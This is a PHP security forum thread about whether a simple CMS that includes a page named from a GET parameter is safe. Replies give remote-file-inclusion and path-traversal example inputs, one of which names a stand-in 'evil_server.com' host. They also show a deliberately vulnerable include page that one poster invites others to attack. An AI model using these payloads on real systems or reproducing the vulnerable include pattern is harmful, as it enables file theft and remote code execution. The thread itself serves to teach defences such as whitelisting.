This is safe, right?

Discussions of secure PHP coding. Security in software is important, so don't be afraid to ask. And when answering: be anal. Nitpick. No security vulnerability is too small.

Moderator: General Moderators

toasty2
Forum Contributor
Posts: 361
Joined: Wed Aug 03, 2005 10:28 am
Location: Arkansas, USA

This is safe, right?

Post by toasty2 »

In my simple Content Management System, the page to be viewed is passed in $_GET['a']. I include the page defined in $_GET['a'], but I append .txt to it. Is that safe? (Pages are stored in .txt files.)
User avatar
VladSun
DevNet Master
Posts: 4313
Joined: Wed Jun 27, 2007 9:44 am
Location: Sofia, Bulgaria

Post by VladSun »

I don't think so ... Examples:

Code: Select all

// RFI
$_GET['a'] = "http://evil_server.com/evilcode"

//LFI 
$_GET['a'] = "../../../secret";
There are 10 types of people in this world, those who understand binary and those who don't
RobertPaul
Forum Contributor
Posts: 122
Joined: Sun Sep 18, 2005 8:54 pm
Location: OCNY

Post by RobertPaul »

Not safe, for the reasons VladSun gave.

The simplest thing to do, without changing how your CMS actually works, would probably be to check $_GET['a'] with ctype_alnum(). That will immediately flag any URL/directory manipulation. If it passes that then make sure it exists as a local file with file_exists() before including it.
toasty2
Forum Contributor
Posts: 361
Joined: Wed Aug 03, 2005 10:28 am
Location: Arkansas, USA

Post by toasty2 »

That doesn't affect my CMS. Here's an excerpt from one of my functions:

Code: Select all

if (file_exists('content/'.$p.'.txt'))
{
	$page = formatOutput(file_get_contents('content/'.$p.'.txt'));
}
else
{
	$page = getError(404);
}
return $page;
($p is $_GET['a'])

I also already check for ".."
User avatar
VladSun
DevNet Master
Posts: 4313
Joined: Wed Jun 27, 2007 9:44 am
Location: Sofia, Bulgaria

Post by VladSun »

Still vulnerable to "../.." values. Imagine you have "/home/toasty2/secret.txt". Then by setting "../../../home/secret" for example, one could read the contents of your file.
One way to solve it is to use prefixes for your include files - e.g. "pre_page1.txt" and include by "include('content/pre_'.$p.'.txt')"

EDIT: You've edited your last post while I was writing :)
Last edited by VladSun on Mon Oct 08, 2007 7:17 pm, edited 1 time in total.
There are 10 types of people in this world, those who understand binary and those who don't
User avatar
Mordred
DevNet Resident
Posts: 1579
Joined: Sun Sep 03, 2006 5:19 am
Location: Sofia, Bulgaria

Post by Mordred »

Prefixes won't help, content/prefix/../../secret/file would still work!
The correct solution is NOT to use $GET['a'] directly at all.
Put it in a switch:

Code: Select all

switch ($p) {
case 'page1': include('../inaccessible_from_web/page1.txt');
...
default: include('../inaccessible_from_web/error.txt');
}
User avatar
feyd
Neighborhood Spidermoddy
Posts: 31559
Joined: Mon Mar 29, 2004 3:24 pm
Location: Bothell, Washington, USA

Post by feyd »

Interestingly enough, there's a thread linked from Useful Posts on such subjects as this. It's been around for quite some time and still valid.
User avatar
VladSun
DevNet Master
Posts: 4313
Joined: Wed Jun 27, 2007 9:44 am
Location: Sofia, Bulgaria

Post by VladSun »

Mordred wrote:Prefixes won't help, content/prefix/../../secret/file would still work!
include('content/pre_'.$pp.'.txt') - your exploit attempt will result in "No such file or directory" because file "pre_" 1) doesn't exist 2) is not a directory.

As far as I can remember it was said that "register_globals on" would inject variables by prefixing their names, so no one could inject them from user side data.
There are 10 types of people in this world, those who understand binary and those who don't
User avatar
Zoxive
Forum Regular
Posts: 974
Joined: Fri Apr 01, 2005 4:37 pm
Location: Bay City, Michigan

Post by Zoxive »

VladSun wrote:
Mordred wrote:Prefixes won't help, content/prefix/../../secret/file would still work!
include('content/pre_'.$pp.'.txt') - your exploit attempt will result in "No such file or directory" because file "pre_" 1) doesn't exist 2) is not a directory.

As far as I can remember it was said that "register_globals on" would inject variables by prefixing their names, so no one could inject them from user side data.
Wouldn't you be able to do..

/../../../../var/

Notice the first / would make pre_ a directory, so if i could go all the way back to (Root) /var/

Not tested though.
User avatar
VladSun
DevNet Master
Posts: 4313
Joined: Wed Jun 27, 2007 9:44 am
Location: Sofia, Bulgaria

Post by VladSun »

Zoxive wrote:
VladSun wrote:
Mordred wrote:Prefixes won't help, content/prefix/../../secret/file would still work!
include('content/pre_'.$pp.'.txt') - your exploit attempt will result in "No such file or directory" because file "pre_" 1) doesn't exist 2) is not a directory.

As far as I can remember it was said that "register_globals on" would inject variables by prefixing their names, so no one could inject them from user side data.
Wouldn't you be able to do..

/../../../../var/

Notice the first / would make pre_ a directory, so if i could go all the way back to (Root) /var/

Not tested though.

Code: Select all

include('content/pre_/../../../../var/');
pre_ : doen't exist or not a directory ...
There are 10 types of people in this world, those who understand binary and those who don't
User avatar
Zoxive
Forum Regular
Posts: 974
Joined: Fri Apr 01, 2005 4:37 pm
Location: Bay City, Michigan

Post by Zoxive »

VladSun wrote:

Code: Select all

include('content/pre_/../../../../var/');
pre_ : doen't exist or not a directory ...
Yes, and i just tested it. the ../ ignore the content and 'pre_', as what they are made to do..

pre.php

Code: Select all

include('content/pre_/../../dn.php');
// echos hi
dn.php (Same Directory as pre.php)

Code: Select all

echo 'hi';
User avatar
VladSun
DevNet Master
Posts: 4313
Joined: Wed Jun 27, 2007 9:44 am
Location: Sofia, Bulgaria

Post by VladSun »

I meant:
You have files to include:
contents/pre_1.txt
contents/pre_2.txt
contents/pre_3.txt

pre_ is not a "prefix directory" - it is a prefix for file names. Your exploit would work only if there is a directory called "pre_" in your "contents" directory ...
There are 10 types of people in this world, those who understand binary and those who don't
User avatar
Zoxive
Forum Regular
Posts: 974
Joined: Fri Apr 01, 2005 4:37 pm
Location: Bay City, Michigan

Post by Zoxive »

VladSun wrote:I meant:
You have files to include:
contents/pre_1.txt
contents/pre_2.txt
contents/pre_3.txt

pre_ is not a "prefix directory" - it is a prefix for file names. Your exploit would work only if there is a directory called "pre_" in your "contents" directory ...
Yes i know what you meant. In my example Directory `content`, and `pre_` do not exist. Do you not understand how `../` works?
User avatar
VladSun
DevNet Master
Posts: 4313
Joined: Wed Jun 27, 2007 9:44 am
Location: Sofia, Bulgaria

Post by VladSun »

Zoxive wrote:Do you not understand how `../` works?
:D :) :o :lol:

Give me your best shot:

http://ipclassify.relef.net/1.php

Code: Select all

<html>
<head>

</head>
<body>
<pre>
<?php

include("contents/pre_".$_GET['a'].".txt");

?>
</pre>
</body>
</html>

Code: Select all

root@mail:/www/ipclassify.relef.net# pwd
/www/ipclassify.relef.net
root@mail:/www/ipclassify.relef.net# ls -l /etc/passwd
-rw-r--r--  1 root root 1716 2007-08-28 23:34 /etc/passwd
root@mail:/www/ipclassify.relef.net# ls contents/
pre_1.txt
There are 10 types of people in this world, those who understand binary and those who don't
User avatar
Mordred
DevNet Resident
Posts: 1579
Joined: Sun Sep 03, 2006 5:19 am
Location: Sofia, Bulgaria

Post by Mordred »

VladSun wrote:
Mordred wrote:Prefixes won't help, content/prefix/../../secret/file would still work!
include('content/pre_'.$pp.'.txt') - your exploit attempt will result in "No such file or directory" because file "pre_" 1) doesn't exist 2) is not a directory.

As far as I can remember it was said that "register_globals on" would inject variables by prefixing their names, so no one could inject them from user side data.
Yes it would work, perhaps you should try it first?
And what does register_globals have to do with this at all?
Post Reply